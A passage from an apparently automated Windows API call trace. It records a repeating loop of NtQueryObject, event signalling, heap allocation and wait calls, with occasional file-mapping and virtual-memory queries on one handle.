ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.597] ResetEvent (hEvent=0xdc) returned 1 [0093.597] SetEvent (hEvent=0xe0) returned 1 [0093.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.597] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.598] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.598] ResetEvent (hEvent=0xdc) returned 1 [0093.598] SetEvent (hEvent=0xe0) returned 1 [0093.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.598] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.599] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.599] ResetEvent (hEvent=0xdc) returned 1 [0093.599] SetEvent (hEvent=0xe0) returned 1 [0093.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.599] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.600] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.600] ResetEvent (hEvent=0xdc) returned 1 [0093.600] SetEvent (hEvent=0xe0) returned 1 [0093.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.601] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.601] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.601] ResetEvent (hEvent=0xdc) returned 1 [0093.601] SetEvent (hEvent=0xe0) returned 1 [0093.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.602] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.602] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.602] ResetEvent (hEvent=0xdc) returned 1 [0093.602] SetEvent (hEvent=0xe0) returned 1 [0093.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.603] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.603] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.603] ResetEvent (hEvent=0xdc) returned 1 [0093.603] SetEvent (hEvent=0xe0) returned 1 [0093.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.604] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.604] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.604] ResetEvent (hEvent=0xdc) returned 1 [0093.604] SetEvent (hEvent=0xe0) returned 1 [0093.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.605] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.605] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.605] ResetEvent (hEvent=0xdc) returned 1 [0093.605] SetEvent (hEvent=0xe0) returned 1 [0093.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.606] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.606] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.606] ResetEvent (hEvent=0xdc) returned 1 [0093.606] SetEvent (hEvent=0xe0) returned 1 [0093.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.607] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.607] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.607] ResetEvent (hEvent=0xdc) returned 1 [0093.607] SetEvent (hEvent=0xe0) returned 1 [0093.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.608] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.608] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.608] ResetEvent (hEvent=0xdc) returned 1 [0093.608] SetEvent (hEvent=0xe0) returned 1 [0093.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.609] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.609] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.609] ResetEvent (hEvent=0xdc) returned 1 [0093.609] SetEvent (hEvent=0xe0) returned 1 [0093.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.610] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.610] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.610] ResetEvent (hEvent=0xdc) returned 1 [0093.610] SetEvent (hEvent=0xe0) returned 1 [0093.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.611] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.611] ResetEvent (hEvent=0xdc) returned 1 [0093.611] SetEvent (hEvent=0xe0) returned 1 [0093.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.612] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.612] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.612] ResetEvent (hEvent=0xdc) returned 1 [0093.612] SetEvent (hEvent=0xe0) returned 1 [0093.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.613] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.613] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.613] ResetEvent (hEvent=0xdc) returned 1 [0093.613] SetEvent (hEvent=0xe0) returned 1 [0093.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.614] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.614] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.614] ResetEvent (hEvent=0xdc) returned 1 [0093.614] SetEvent (hEvent=0xe0) returned 1 [0093.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.615] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.615] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.615] ResetEvent (hEvent=0xdc) returned 1 [0093.615] SetEvent (hEvent=0xe0) returned 1 [0093.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.616] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.616] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.616] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.616] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.616] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.616] ResetEvent (hEvent=0xdc) returned 1 [0093.617] SetEvent (hEvent=0xe0) returned 1 [0093.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.617] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.618] ResetEvent (hEvent=0xdc) returned 1 [0093.618] SetEvent (hEvent=0xe0) returned 1 [0093.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.618] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.619] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.619] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.619] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.619] ResetEvent (hEvent=0xdc) returned 1 [0093.619] SetEvent (hEvent=0xe0) returned 1 [0093.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.620] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.620] ResetEvent (hEvent=0xdc) returned 1 [0093.620] SetEvent (hEvent=0xe0) returned 1 [0093.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.621] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.621] ResetEvent (hEvent=0xdc) returned 1 [0093.621] SetEvent (hEvent=0xe0) returned 1 [0093.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.622] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.622] ResetEvent (hEvent=0xdc) returned 1 [0093.622] SetEvent (hEvent=0xe0) returned 1 [0093.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.623] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.623] ResetEvent (hEvent=0xdc) returned 1 [0093.623] SetEvent (hEvent=0xe0) returned 1 [0093.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.624] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.624] ResetEvent (hEvent=0xdc) returned 1 [0093.624] SetEvent (hEvent=0xe0) returned 1 [0093.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.625] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.625] ResetEvent (hEvent=0xdc) returned 1 [0093.625] SetEvent (hEvent=0xe0) returned 1 [0093.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.626] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.626] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.626] ResetEvent (hEvent=0xdc) returned 1 [0093.626] SetEvent (hEvent=0xe0) returned 1 [0093.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.627] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.627] ResetEvent (hEvent=0xdc) returned 1 [0093.627] SetEvent (hEvent=0xe0) returned 1 [0093.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.628] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.628] ResetEvent (hEvent=0xdc) returned 1 [0093.628] SetEvent (hEvent=0xe0) returned 1 [0093.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.629] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.629] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.629] ResetEvent (hEvent=0xdc) returned 1 [0093.629] SetEvent (hEvent=0xe0) returned 1 [0093.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.629] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.630] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.630] ResetEvent (hEvent=0xdc) returned 1 [0093.630] SetEvent (hEvent=0xe0) returned 1 [0093.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.630] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.631] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.631] ResetEvent (hEvent=0xdc) returned 1 [0093.631] SetEvent (hEvent=0xe0) returned 1 [0093.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.631] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.631] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.632] ResetEvent (hEvent=0xdc) returned 1 [0093.632] SetEvent (hEvent=0xe0) returned 1 [0093.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.632] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.632] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.632] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.633] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.633] ResetEvent (hEvent=0xdc) returned 1 [0093.633] SetEvent (hEvent=0xe0) returned 1 [0093.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.633] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.633] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.633] ResetEvent (hEvent=0xdc) returned 1 [0093.633] SetEvent (hEvent=0xe0) returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.634] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.634] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.634] ResetEvent (hEvent=0xdc) returned 1 [0093.634] SetEvent (hEvent=0xe0) returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.635] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.635] ResetEvent (hEvent=0xdc) returned 1 [0093.635] SetEvent (hEvent=0xe0) returned 1 [0093.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.636] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, 